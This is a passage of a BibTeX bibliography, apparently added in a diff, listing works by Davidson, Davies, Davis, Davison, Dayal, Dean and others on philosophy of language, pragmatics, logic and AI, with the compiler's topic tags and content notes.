Replies [To above article.] + The Material Mind + Hempel on Explaining Action + Hume's Cognitive Theory of Pride + }, + ISBN = {0198245297}, + topic = {action;events;philosophy-of-mind;} + } + +@book{ davidson:1984a, + author = {Donald Davidson}, + title = {Inquiries into Truth and Interpretation}, + publisher = {Oxford University Press}, + year = {1984}, + address = {Oxford}, + ISBN = {019824617X}, + topic = {truth;philoosophy-of-language;foundations-of-semantics;} + } + +@incollection{ davidson:1984b, + author = {Donald Davidson}, + title = {Quotation}, + booktitle = {Inquiries into Truth and Interpretation}, + publisher = {Oxford University Press}, + year = {1984}, + editor = {Donald Davidson}, + pages = {479--488}, + address = {Oxford}, + topic = {direct-discourse;} + } + +@incollection{ davidson:1984c, + author = {Donald Davidson}, + title = {Radical Interpretation}, + booktitle = {Inquiries Into Truth and Interpretation}, + publisher = {Oxford University Press}, + year = {1984}, + editor = {Donald Davidson}, + pages = {125--139}, + address = {Oxford}, + topic = {radical-interpretation;foundations-of-semantics; + philosophy-of-language;} + } + +@incollection{ davidson:1984d, + author = {Donald Davidson}, + title = {The Inscrutability of Reference}, + booktitle = {Inquiries Into Truth and Interpretation}, + publisher = {Oxford University Press}, + year = {1984}, + editor = {Donald Davidson}, + pages = {227--242}, + address = {Oxford}, + topic = {reference;radical-interpretation;foundations-of-semantics; + philosophy-of-language;} + } + +@article{ davidson:1984e, + author = {Donald Davidson}, + title = {Communication and Convention}, + journal = {Synth\'ese}, + year = {1984}, + volume = {59}, + number = {1}, + pages = {3--17}, + topic = {philosophy-of-language;convention;pragmatics;} + } + +@incollection{ davidson:1986a, + author = {Donald Davidson}, + title = {A Nice Derangement of Epitaphs}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {157--174}, + address = {Oxford}, + topic = {philosophy-of-language;implicature;pragmatics; + speaker-meaning;Grice;} + } + +@article{ davidson:1987a, + author = {Donald Davidson}, + title = {What Metaphors Mean}, + journal = {Critical Inquiry}, + year = {1987}, + volume = {5}, + number = {31--47}, + pages = {200--220}, + missinginfo = {number}, + topic = {metaphor;pragmatics;} + } + +@incollection{ davidson:1993a, + author = {Donald Davidson}, + title = {Thinking Causes}, + booktitle = {Mental Causation}, + publisher = {Oxford University Press}, + year = {1993}, + editor = {John Heil and Alfred R. Mele}, + pages = {3--17}, + address = {Oxford}, + topic = {mind-body-problem;causality;anomalous-monism;} + } + +@incollection{ davidson:1994a, + author = {Donald Davidson}, + title = {Radical Interpretation Interpreted}, + booktitle = {Philosophical Perspectives, Volume 8: + Logic and Language}, + publisher = {Blackwell Publishers}, + year = {1994}, + editor = {James E. Tomberlin}, + pages = {121--128}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {foundations-of-semantics;radical-interpretation;} + } + +@article{ davidson:1996a, + author = {Donald Davidson}, + title = {The Folly of Trying to Define Truth}, + journal = {The Journal of Philosophy}, + year = {1996}, + volume = {93}, + number = {6}, + pages = {263--278}, + contentnote = {Deals with role of theory of truth in an overall theory + of attitudes, etc. Appears to be mainly a criticism of + horwich:1990a.}, + topic = {truth;philosophy-of-language;} + } + +@article{ davies:1989a, + author = {Martin Davies}, + title = {\,`Two Examiners Marked Six Scripts.' Interpretations + of Numerically Quantified Sentence}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {3}, + pages = {293--323}, + topic = {nl-quantifiers;nl-quantifier-scope;} + } + +@incollection{ davies_djm-isard:1972a, + author = {D.J.M. Davies and S. Isard}, + title = {Utterances as Programs}, + booktitle = {Machine Intelligence 7}, + publisher = {Edinburgh University Press}, + year = {1972}, + editor = {Donald Michie and Bernard Meltzer}, + pages = {325--339}, + missinginfo = {A's 1st name}, + topic = {pragmatics;speech-acts;} + } + +@book{ davies_m-stone_t:1995a, + editor = {Martin Davies and Tony Stone}, + title = {Folk Psychology: The Theory of Mind Debate}, + publisher = {Blackwell Publishers}, + year = {1995}, + address = {Oxford}, + contentnote = {TC: + 0. Tony Stone and Martin Davies, "Introduction" + 1. Jane Heal, "Replication and Functionalism" + 2. Robert M. Gordon, "Folk Psychology as Simulation" + 3. Alvin I. Goldman, "Interpretation Psychologized" + 4. Robert M. Gordon, "The Simulation Theory: Objections + and Misconceptions" + 5. Steven Stich and Shaun Nichols, "Folk Pyschology: + Simulation or Tacit Theory?" + 6. Josef Perner and Deborrah Howes, "`He Thinks He + Knows': and More Developmental Evidence + against the Simulation (Role-Taking) Theory" + 7. Robert M. Gordon, "Reply to {S}tich and {N}ichols" + 8. Robert M. Gordon, "Reply to {P}erner and {H}owes" + 9. Alvin I. Goldman, "In Defense of the Simulation Theory" + 10. Paul L. Harris, "From Simulation to Folk Psychology: + The Case for Development" + 11. Alsion Gopnik and Henry M. Wellman, "Why the Child's + Theory of Mind Really {\em Is} a Theory" + 12. Simon Baron-Cohen and Pippa Cross, Reading the Eyes: + Evidence for the Role of Perception in the + Development of a Theory of Mind" + 13. Simon Blackburn, "Theory, Observation, and Drama" + }, + ISBN = {0631195149}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + mental-simulation-theory-of-folk-psychology; + propositional-attitude-ascription;} +} + +@book{ davies_m-stone_t:1995b, + editor = {Martin Davies and Tony Stone}, + title = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + address = {Oxford}, + contentnote = {TC: + 0. Tony Stone and Martin Davies, "Introduction" + 1. Gary Fuller, "Simulation and Psychological Concepts" + 2. Jane Heal, "How to think about Thinking" + 3. Robert M. Gordon, "Simulation without Introspection or + Interference from Me to You" + 4. Norman H. Freeman, "Theories of Mind in Collision: + Plausibility and Authority" + 5. Steven Stich and Shaun Nichols, "Second Thoughts on + Simulation" + 6. Jerry A. Fodor, "A Theory of the Child's Theory of Mind" + 7. Alan M. Leslie and Tim P. German, "Knowledge and + Ability in `Theory of Mind': One-Eyed Overview + of a Debate" + 8. Gregory Currie, "Imagination and Simulation: Aesthetics + Meets Cognitive Science" + 9. Paul L. Harris, "Imagining and Pretending" + 10. Alvin I. Goldman, "Empathy, Mind, and Morals" + 11. Derek Bolton, "Self-Knowledge, Error and Disorder" + 12. Adam Morton, "Game Theory and Knowledge by Simulation" + 13. John A. Barnden, "Simulative Reasoning, Common-Sense + Psychology, and Artificial Intelligence" + }, + ISBN = {0631198725}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + mental-simulation-theory-of-folk-psychology; + propositional-attitude-ascription;} + } + +@incollection{ davies_m-stone_t:1995c, + author = {Martin Davies and Tony Stone}, + title = {Introduction}, + booktitle = {Folk Psychology: The Theory of Mind Debate}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {1--44}, + address = {Oxford}, + topic = {folk-psychology;theory-theory-of-folk-psychology; + mental-simulation-theory-of-folk-psychology; + propositional-attitude-ascription;} + } + +@article{ davies_mk:1978a, + author = {Martin K. Davies}, + title = {Weak Necessity and Truth Theories}, + journal = {Journal of Philosophical Logic}, + year = {1978}, + volume = {7}, + number = {4}, + pages = {415--439}, + topic = {modal-logic;truth;} + } + +@article{ davies_mk:1982a, + author = {Martin K. Davies}, + title = {Individuation and the Semantics of Demonstratives}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {3}, + pages = {287--310}, + topic = {demonstratives;indexicality;quantifying-in-modality;} + } + +@incollection{ davies_mk:1996a, + author = {Martin K. Davies}, + title = {Philosophy of language}, + booktitle = {The {B}lackwell Companion To Philosophy}, + publisher = {Blackwell Reference,\}, + year = {1996}, + editor = {Nicholas Bunnin and E.P. Tsui-James}, + pages = {90--139}, + address = {Oxford}, + topic = {philosophy-of-language;} + } + +@book{ davis_a:1996a, + author = {A. Davis}, + title = {Lexical Semantics and Linking in the Hierarchical Lexicon}, + publisher = {D. Reidel Publishing Co.}, + year = {1996}, + address = {Dordrecht}, + topic = {lexical-semantics;} + } + +@article{ davis_c:1974a, + author = {Charles Davis}, + title = {Some Semantically Closed Languages}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {3}, + pages = {229--240}, + topic = {nl-semantics;semantic-paradoxes;} + } + +@unpublished{ davis_cc-hellan:1975a, + author = {Charles C. Davis and Lars Hellan}, + title = {The Syntax and Semantics of Comparative Constructions}, + year = {1975}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {Montague-grammar;comparative-constructions;} + } + +@article{ davis_e:1987a, + author = {Ernest Davis}, + title = {Constraint Propagation with Interval Labels}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {32}, + number = {3}, + pages = {281--331}, + topic = {constraint-propagation;} + } + +@incollection{ davis_e:1989a, + author = {Ernest Davis}, + title = {Solutions to a Paradox of Perception With Limited Acuity}, + booktitle = {{KR}'89: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1989}, + editor = {Ronald J. Brachman and Hector J. Levesque and Raymond Reiter}, + pages = {79--82}, + address = {San Mateo, California}, + contentnote = {This is an attempt to solve the sorites, but Davis + seems to be ignorant of the problem or the literature on it.}, + topic = {kr;vagueness;sorites-paradox;} + } + +@book{ davis_e:1991a, + author = {Ernest Davis}, + title = {Common Sense Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + address = {San Francisco}, + xref = {Review: croft:1993b.}, + topic = {common-sense-reasoning;kr;kr-course;} + } + +@incollection{ davis_e:1992a, + author = {Ernest Davis}, + title = {Infinite Loops in Finite Time: Some Observations}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {47--58}, + address = {San Mateo, California}, + topic = {kr;temporal-reasoning;kr-course;} + } + +@incollection{ davis_e:1992b, + author = {Ernest Davis}, + title = {Axiomatizing Qualitative Process Theory}, + booktitle = {{KR}'92. Principles of Knowledge Representation and + Reasoning: Proceedings of the Third International Conference}, + publisher = {Morgan Kaufmann}, + year = {1992}, + editor = {Bernhard Nebel and Charles Rich and William Swartout}, + pages = {177--188}, + address = {San Mateo, California}, + topic = {qualitative-reasoning;kr;} + } + +@article{ davis_e:1993a, + author = {Ernest Davis}, + title = {{\it Representations of Commonsense Knowledge}: Response + to the Reviews}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {61}, + number = {1}, + pages = {175--179}, + xref = {Response to reviews of davis_e:1991a.}, + topic = {common-sense-reasoning;kr;kr-course;} + } + +@article{ davis_e:1999a, + author = {Ernest Davis}, + title = {Guide to Axiomatizing Domains in First-Order Logic}, + journal = {Electronic Newsletter on Reasoning about Actions and Change}, + year = {1999}, + note = {http://www.cs.nyu.edu/cs/faculty/avise/guide.html.}, + volume = {99002}, + topic = {macro-formalization;} + } + +@incollection{ davis_e:2001a, + author = {Ernest Davis}, + title = {Knowledge Representation}, + booktitle = {The International Encyclopedia of the Social + and Behavioral Sciences}, + editor = {Neil J. Smelser and Paul B. Baltes}, + publisher = {Elsevier}, + address = {Amsterdam}, + year = {2001}, + note = {Forthcoming.}, + topic = {kr-survey;krcourse;} + } + +@article{ davis_e:2001b, + author = {Ernest Davis}, + title = {Two Machine Learning Textbooks: An Instructor's + Perspective}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {131}, + number = {1--2}, + pages = {191--198}, + xref = {Review of mitchell_tm:1997b and witten-frank_e:2000a.}, + topic = {machine-learning;AI-instruction;} + } + +@book{ davis_ld:1987a, + editor = {Lawrence D. Davis}, + title = {Genetic Algorithms and Simulated Annealing}, + publisher = {Morgan Kaufmann Publishers}, + year = {1987}, + address = {Los Altos, California}, + ISBN = {0934613443 (U.S.)}, + topic = {genetic-algorithms;} + } + +@book{ davis_ld:1991a, + editor = {Lawrence D. Davis}, + title = {Handbook of Genetic Algorithms}, + publisher = {Van Nostrand Reinhold}, + year = {1991}, + address = {New York}, + ISBN = {0442001738}, + xref = {Reviwew: mitchell_m:1998a.}, + topic = {genetic-algorithms;} + } + +@article{ davis_lh:1979a, + author = {Lawrence H. Davis}, + title = {An Alternative Formulation of {K}ripke's Theory of Truth}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {3}, + pages = {289--296}, + topic = {truth;} + } + +@book{ davis_lh:1979b, + author = {Lawrence H. Davis}, + title = {Theory of Action}, + publisher = {Prentice-Hall}, + year = {1979}, + address = {Englewood Cliffs, New Jersey}, + ISBN = {0139131523}, + topic = {action;philosophy-of-action;} +} + +@article{ davis_lh-rosenfeld:1981a, + author = {Larry S. Davis and Azriel Rosenfeld}, + title = {Cooperating Processes for Low-Level Vision: A Survey}, + journal = {Artificial Intelligence}, + year = {1981}, + volume = {17}, + number = {1--3}, + pages = {245--263}, + acontentnote = {Abstract: + Cooperating local parallel processes can be used as aids in + assigning numerical or symbolic labels to image or scene parts. + Various approaches to using such processes in low-level vision + are reviewed, and their advantages are discussed. Methods of + designing and controlling such processes are also considered.}, + topic = {vision;parallel-processing;distributed-processing;} + } + +@incollection{ davis_lh:1985a, + author = {Lawrence H. Davis}, + title = {Prisoners, Paradox, and Rationality}, + booktitle = {Paradoxes of Rationality and Cooperation}, + publisher = {The University of British Columbia Press}, + year = {1985}, + pages = {45--59}, + address = {Vancouver}, + topic = {rationality;prisoner's-dilemma;} + } + +@incollection{ davis_lh:1985b, + author = {Lawrence H. Davis}, + title = {Is the Symmetry Argument Valid?}, + booktitle = {Paradoxes of Rationality and Cooperation}, + publisher = {The University of British Columbia Press}, + year = {1985}, + pages = {255--263}, + address = {Vancouver}, + topic = {rationality;prisoner's-dilemma;} + } + +@article{ davis_m:1980a, + author = {Martin Davis}, + title = {The Mathematics of Nonmonotonic Reasoning}, + journal = {Artificial intelligence}, + year = {1980}, + volume = {13}, + number = {1--2}, + pages = {73--80}, + contentnote = {M.D. says some things about an early version of + circumscription, criticizes Doyle-McDermott for unclarity.}, + missinginfo = {number}, + topic = {nonmonotonic-logic;} + } + +@incollection{ davis_m:1988a, + author = {Martin Davis}, + title = {Mathematical Logic and the Origin of Modern Computers}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {149--174}, + address = {Oxford}, + topic = {history-of-theory-of-computation;history-of-computation; + history-of-logic;} + } + +@incollection{ davis_m:1988b, + author = {Martin Davis}, + title = {Influences of Mathematical Logic on Computer Science}, + booktitle = {The Universal {T}uring Machine: A Half-Century + Survey}, + publisher = {Oxford University Press}, + year = {1988}, + editor = {Rolf Herkin}, + pages = {315--326}, + address = {Oxford}, + topic = {history-of-theory-of-computation;history-of-computation; + history-of-logic;} + } + +@incollection{ davis_m:1993a, + author = {Martin Davis}, + title = {First Order Logic}, + booktitle = {The Handbook of Logic in Artificial Intelligence and + Logic Programming, Volume 1: Deductive + Methodologies}, + editor = {Dov Gabbay and Christopher Hogger and J.A. Robinson}, + publisher = {Oxford University Press}, + pages = {31--67}, + address = {Oxford}, + year = {1993}, + missinginfo = {ed's 1st name}, + topic = {kr;logic-survey;kr-course;} +} + +@article{ davis_m:1996a, + author = {Martin Davis}, + title = {American Logic in the 1920s}, + journal = {The Bulletin of Symbolic Logic}, + year = {1996}, + volume = {1}, + number = {3}, + pages = {273--278}, + topic = {history-of-logic;} + } + +@article{ davis_r-etal:1977a, + author = {Randall Davis and Bruce Buchanan and Edward Shortliffe}, + title = {Production Rules as a Representation for a Knowledge-Based + Consultation Program}, + journal = {Artificial Intelligence}, + year = {1977}, + volume = {8}, + number = {1}, + pages = {15--45}, + topic = {diagnosis;expert-systems;medical-AI;} + } + +@article{ davis_r:1979a1, + author = {Randall Davis}, + title = {Interactive Transfer of Expertise: Acquisition of New + Inference Rules}, + journal = {Artificial Intelligence}, + year = {1979}, + volume = {12}, + number = {2}, + pages = {121--157}, + acontentnote = {Abstract: + TEIRESIAS is a program designed to provide assistance on the + task of building knowledge-based systems. It facilitates the + interactive transfer of knowledge from a human expert to the + system, in a high level dialog conducted in a restricted subset + of natural language. This paper explores an example of TEIRESIAS + in operation and demonstrates how it guides the acquisition of + new inference rules. The concept of meta-level knowledge is + described and illustrations given of its utility in knowledge + acquisition and its contribution to the more general issues of + creating an intelligent program.}, + xref = {Republication: davis_r:1979a2.}, + topic = {knowledge-acquisition;nl-kr;} + } + +@incollection{ davis_r:1979a2, + author = {Randall Davis}, + title = {Interactive Transfer of Expertise: Acquisition + of New Inference Rules}, + booktitle = {Readings in Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1981}, + editor = {Bonnie Webber and Nils J. Nilsson}, + pages = {410--430}, + address = {Los Altos, California}, + xref = {Journal Publication: davis_r:1979a1.}, + topic = {knowledge-acquisition;nl-kr;} + } + +@article{ davis_r:1982a, + author = {Randall Davis}, + title = {Expert Systems: Where Are We? And Where + Do We Go from Here?}, + journal = {{AI} Magazine}, + year = {1982}, + volume = {3}, + number = {2}, + pages = {3--22}, + topic = {expert-systems;} + } + +@article{ davis_r-smith:1983a, + author = {Randall Davis and Reid G. Smith}, + title = {Negotiation as a Metaphor for Distributed Problem + Solving}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {20}, + number = {1}, + pages = {63--109}, + topic = {distributed-AI;social-choice-theory;distributed-processing; + negotiation;} +} + +@article{ davis_r:1984a, + author = {Randall Davis}, + title = {Diagnostic reasoning based on structure and behavior } , + journal = {Artificial Intelligence}, + year = {1984}, + volume = {24}, + number = {1--3}, + pages = {347--410}, + xref = {Commentary: davis_r:1993a.}, + topic = {qualitative-physics;qualitative-reasoning;diagnosis; + model-based-reasoning;} + } + +@article{ davis_r:1993a, + author = {Randall Davis}, + title = {Retrospective on `Diagnostic Reasoning Based + on Structure and Behavior'}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {149--157}, + xref = {Comment on davis_r:1984.}, + topic = {diagnosis;model-based-reasoning;} + } + +@article{ davis_r-etal:1993a, + author = {Randall Davis and Bruce G. Buchanan and + Edward H. Shortliffe}, + title = {Retrospective on `Production Rules as a Representation + for a Knowledge-Based Consultation Program'}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {59}, + number = {1--2}, + pages = {181--189}, + xref = {Retrospective commentary on davis_r-etal:1977a.}, + topic = {diagnosis;expert-systems;medical-AI;} + } + +@article{ davis_r:1998a, + author = {Randall Davis}, + title = {What Are Intelligence? And Why?}, + journal = {{AI} Magazine}, + year = {1998}, + volume = {19}, + number = {1}, + pages = {91--110}, + topic = {foundations-of-AI;intelligence;} + } + +@phdthesis{ davis_s:1968a, + author = {Stephen Davis}, + title = {Illocutionary Acts and Transformational Grammar}, + school = {University of Illinois}, + year = {1968}, + type = {Ph.{D}. Dissertation}, + address = {Urbana, Illinois}, + topic = {speech-acts;pragmatics;} + } + +@article{ davis_s:1979a, + author = {Steven Davis}, + title = {Perlocutions}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {2}, + pages = {225--243}, + topic = {speech-acts;pragmatics;} + } + +@book{ davis_s:1991a, + editor = {Steven Davis}, + title = {Pragmatics: A Reader}, + publisher = {Oxford University Press}, + year = {1991}, + address = {Oxford}, + topic = {pragmatics;philosophy-of-language;} + } + +@incollection{ davis_s:1991b, + author = {Steven Davis}, + title = {Introduction}, + booktitle = {Pragmatics: A Reader}, + publisher = {Oxford University Press}, + year = {1991}, + editor = {Steven Davis}, + pages = {3--13}, + address = {Oxford}, + topic = {pragmatics;philosophy-of-language;} + } + +@book{ davis_s:1992a, + editor = {Steven Davis}, + title = {Connectionism: Theory and Practice}, + publisher = {Oxford University Press}, + year = {1992}, + address = {Oxford}, + ISBN = {0-19-507666-4 (paper), 0-19-507665-6 (cloth)}, + contentnote = {TC: + 1. G.E. Hinton and S. Becker, "Using Coherence Assumptions to + Discover the Underlying Causes of the Sensory Input" + 2. Michael I. Jordan and Robert A. Jacobs, "Comment" + 3. Paul M. Churchland, "A Deeper Unity: Some Feyerabendian + Themes in Neurocomputational Form" + 4. Charles Travis, "Comment" + 5. David E. Rumelhart, "Towards a Microstructural Account of + Human Reasoning" + 6. Mark S. Seidenberg, "Connectionism Without Tears" + 7. Michael E. J. Masson, "Comment" + 10. Jeffrey L. Elman, "Grammatical Structure and Distributed + Representations" + 11. Tim van Gelder, "Comment" + 12. Terence Horgan and John Tienson, "Structured + Representations in Connectionist Systems?" + 13. John Goldsmith, "Local Modelling in Phonology" + 14. William Ramsey, "Connectionism and the Philosophy of + Mental Representation" + 15. Steven W. Zucker, Allan Dobbins, and Lee Iverson, + "Connectionism and the Computational Neurobiology of + Curve Detection" + 16. David Kirsh, "PDP Learnability and Innate Knowledge of + Language" + } , + topic = {connectionism;connectionist-models;} + } + +@article{ davis_s:1997a, + author = {Stephen Davis}, + title = {Grice on Natural and Non-Natural Meaning}, + journal = {Philosophia}, + year = {1997}, + volume = {26}, + number = {3--4}, + pages = {405--419}, + topic = {Grice;speaker-meaning;} + } + +@article{ davis_wa:1982a, + author = {Wayne A. Davis}, + title = {Weirich on Conditional and Expected Utility}, + journal = {The Journal of Philosophy}, + year = {1982}, + volume = {74}, + number = {6}, + pages = {342--350}, + topic = {utility;foundations-of-utility;} + } + +@incollection{ davis_wa:1986a, + author = {Wayne A. Davis}, + title = {The Two Senses of Desire}, + booktitle = {The Ways of Desire: New Essays in Philosophical + Psychology on the Concept of Wanting}, + publisher = {Precedent Publishing, Inc.}, + year = {1986}, + editor = {Joel Marks}, + pages = {63--82}, + address = {Chicago}, + contentnote = {Sense 1: Synonymous with `want', `wish', `would + like': volitive desire, connected to will, intention. + Sense 2: Syononymous with `appetite', `craving', etc. + Connected to appetite.}, + topic = {desire;philosophical-psychology;} + } + +@article{ davis_wa:1992a, + author = {Wayne A. Davis}, + title = {Speaker Meaning}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + pages = {223--253}, + number = {3}, + topic = {speaker-meaning;} + } + +@article{ davis_wa:1993a, + author = {Wayne A. Davis}, + title = {Review of {\it Probabilistic Causality}, by + {E}llery {E}ells}, + journal = {The Philosophical Review}, + year = {1993}, + volume = {102}, + number = {3}, + pages = {410--412}, + xref = {Review of eells:1991a.}, + topic = {causality;probability;} + } + +@book{ davis_wa:1998a, + author = {Wayne A. Davis}, + title = {Implicature: Intention, Convention, and Principle in the + Failure of {G}ricean Theory}, + publisher = {Cambridge University Press}, + year = {1998}, + address = {Cambridge, England}, + ISBN = {0521623197}, + xref = {Review: saul_j:2001a.}, + topic = {implicature;Grice;} + } + +@incollection{ davis_ws-carnes:1991a, + author = {William S. Davis and James R. Carnes}, + title = {Clustering Temporal Intervals to Generate Reference + Hierarchies}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {111--117}, + address = {San Mateo, California}, + topic = {kr;temporal-reasoning;kr-course;} + } + +@inproceedings{ davison_a:1970a, + author = {Alice Davison}, + title = {Causal Adverbs and Performative Verbs}, + booktitle = {Proceedings of the Sixth Regional Meeting of the + Chicago Linguistics Society}, + year = {1970}, + pages = {190--201}, + publisher = {Chicago Linguistics Society}, + address = {Chicago University, Chicago, Illinois}, + missinginfo = {editor}, + topic = {speech-acts;pragmatics;} + } + +@incollection{ davison_a:1975a, + author = {Alice Davison}, + title = {Indirect Speech Acts and What to Do With Them}, + booktitle = {Syntax and Semantics 3: Speech Acts}, + year = {1975}, + editor = {Peter Cole and Jerry Morgan}, + pages = {143--186}, + publisher = {Academic Press}, + address = {New York}, + topic = {speech-acts;pragmatics;indirect-speech-acts;} + } + +@incollection{ davison_a:1981a, + author = {Alice Davison}, + title = {Syntactic and Semantic Indeterminacy Resolved: + A Mostly Pragmatic Analysis of the {H}indi Conjunctive + Participle}, + booktitle = {Radical Pragmatics}, + publisher = {Academic Press}, + year = {1981}, + editor = {Peter Cole}, + pages = {101--128}, + address = {New York}, + topic = {pragmatics;Hindi-language;} + } + +@article{ davison_a:1983a, + author = {Alice Davison}, + title = {Linguistic or Pragmatic Description in the Context + of the Performadox}, + journal = {Linguistics and Philosophy}, + year = {1983}, + volume = {6}, + number = {4}, + pages = {499--526}, + topic = {speech-acts;pragmatics;} + } + +@book{ davison_p-etal:1978a, + editor = {Peter Davison and Rolf Meyersohn and Edward Shils}, + title = {Uses of Literacy: Media}, + publisher = {Chadwyck-Healy}, + year = {1978}, + address = {Cambridge}, + ISBN = {0914146521 (Somerset)}, + topic = {sociology-of-literature;mass-media;} + } + +@book{ davison_p-etal:1978b, + editor = {Peter Davison and Rolf Meyersohn and Edward Shils}, + title = {Literature and Society}, + publisher = {Somerset House}, + year = {1978}, + address = {Cambridge, England}, + ISBN = {0914146483}, + topic = {sociology-of-literature;} + } + +@article{ dawar-gurevich:2002a, + author = {Anuj Dawar and Yuri Gurevich}, + title = {Fixed Point Logics}, + journal = {The Bulletin of Symbolic Logic}, + year = {2002}, + volume = {8}, + number = {1}, + pages = {65--88}, + topic = {fixpoints;extensions-of-FOL;finite-model-theory;} + } + +@book{ dawes:1972a, + author = {Robyn M. Dawes}, + title = {Fundamentals of Attitude Measurement}, + publisher = {John Wiley and Sons}, + year = {1972}, + address = {Amsterdam}, + ISBN = {0471199494}, + topic = {soical-psychology;attitudes-in-psychology;} + } + +@article{ dawid:1979a, + author = {A.P. Dawid}, + title = {Conditional Independence in Statistical Theory}, + journal = {Journal of the Royal Statistical Society, Series B}, + year = {1979}, + volume = {41}, + pages = {1--31}, + missinginfo = {A's 1st name, number}, + topic = {statistical-(in)dependence;} + } + +@article{ dawkins:1995a, + author = {John Dawkins}, + title = {Teaching Punctuation as a Rhetorical Tool}, + journal = {College Composition and Communication}, + year = {1995}, + volume = {46}, + number = {4}, + pages = {533--548}, + topic = {punctuation;} +} + +@book{ dawson:1998a, + author = {Michael R.W. Dawson}, + title = {Understanding Cognitive Science}, + publisher = {Blackwell Publishers}, + year = {1999}, + address = {Oxford}, + ISBN = {0-631-20895-X (pb)}, + topic = {cogsci-intro;} + } + +@book{ day_di-kovacs:1996a, + editor = {Donald L. Day and Diane K. Kovacs}, + title = {Computers, Communication and Mental Models}, + publisher = {Taylor \& Francis}, + year = {1996}, + address = {London}, + contentnote = {TC: + 1. Rodney Fuller, "Human-computer-human Interaction: How + Computers Affect Interpersonal Communication" + 2. Jeremy Roschelle, "Designing for Cognitive Communication: Epistemic + Fidelity or Mediating Collaborative Inquiry?" + 3. Lajos Balint, "Computer-mediated interpersonal + Communication: The {HCHI} Approach" + 4. John Wood and Paul Taylor, "Mapping the Mapper" + 5. Phil Moose et al., "Mapping Spatial Cognition with Computers" + 6. Munir Mandviwalla, "The World View of Collaborative Tools" + 7. Ray Paul and Peter Thomas, "Computer-Based Simulation + Models for Problem-Solving: Communicating Problem + Understandings" + 10. Jozsef Toth, "The Effects of Combining Interactive Graphics + and Text in Computer-Mediated Small Group Decision-Making" + } , + ISBN = {0748405437 (pbk)}, + topic = {HCI;} + } + +@article{ day_ma:1977a, + author = {Michael A. Day}, + title = {An Axiomatic Approach to First Law Thermodynamics}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {2}, + pages = {119--134}, + topic = {formalizations-of-physics;} + } + +@incollection{ dayal:1985a, + author = {Veneeta Srivastav Dayal}, + title = {Quantification in Correlatives}, + booktitle = {Quantification in Natural Languages, Vol. 1}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {179--205}, + address = {Dordrecht}, + topic = {nl-semantics;relative-clauses;adjuncts;} + } + +@article{ dayal:1992a, + author = {Veneeta Srivastav Dayal}, + title = {Scope Marking as Indirect WH-Dependency}, + journal = {Natural Language Semantics}, + year = {1993--1994}, + volume = {2}, + number = {2}, + pages = {137--170}, + topic = {nl-quantifier-scope;nl-semantics;} + } + +@inproceedings{ dayal:1995a, + author = {Veneeta Dayal}, + title = {Licensing {\em any} in Non-Negative/Non-Modal + Contexts}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {V}}, + year = {1995}, + editor = {Mandy Simons and Teresa Galloway}, + pages = {72--93}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;indefiniteness;free-choice-`any/or';} + } + +@book{ dayal:1996a, + author = {Veneeta Dayal}, + title = {Locality in {Wh} Quantification: Questions and Relative + Clauses in {H}indi}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + ISBN = {079234099X}, + topic = {interrogatives;Hindi-language;} + } + +@article{ dayal:1998b, + author = {Vaneeta Dayal}, + title = {{\it Any} As Inherently Modal}, + journal = {Linguistics and Philosophy}, + year = {1998}, + volume = {21}, + number = {5}, + pages = {433--476}, + topic = {free-choice-`any/or';nl-quantifiers;} + } + +@techreport{ dean:1985a, + author = {Thomas Dean}, + title = {Temporal Imagery: An Approach to Reasoning about + Time for Planning and Problem Solving}, + institution = {Department of Computer Science, Yale University}, + number = {CSD/RR \#443}, + year = {1985}, + address = {New Haven, Connecticut}, + topic = {temporal-reasoning;planning-formalisms;} + } + +@inproceedings{ dean:1986a, + author = {Thomas Dean}, + title = {Intractability and Time Dependent Planning}, + booktitle = {Proceedings of the Workshop on Planning and Reasoning + about Action}, + organization = {AAAI}, + month = {July}, + pages = {143--164}, + year = {1986}, + topic = {planning;} + } + +@article{ dean-mcdermott_d:1987a, + author = {Thomas Dean and Drew McDermott}, + title = {Temporal Data Base 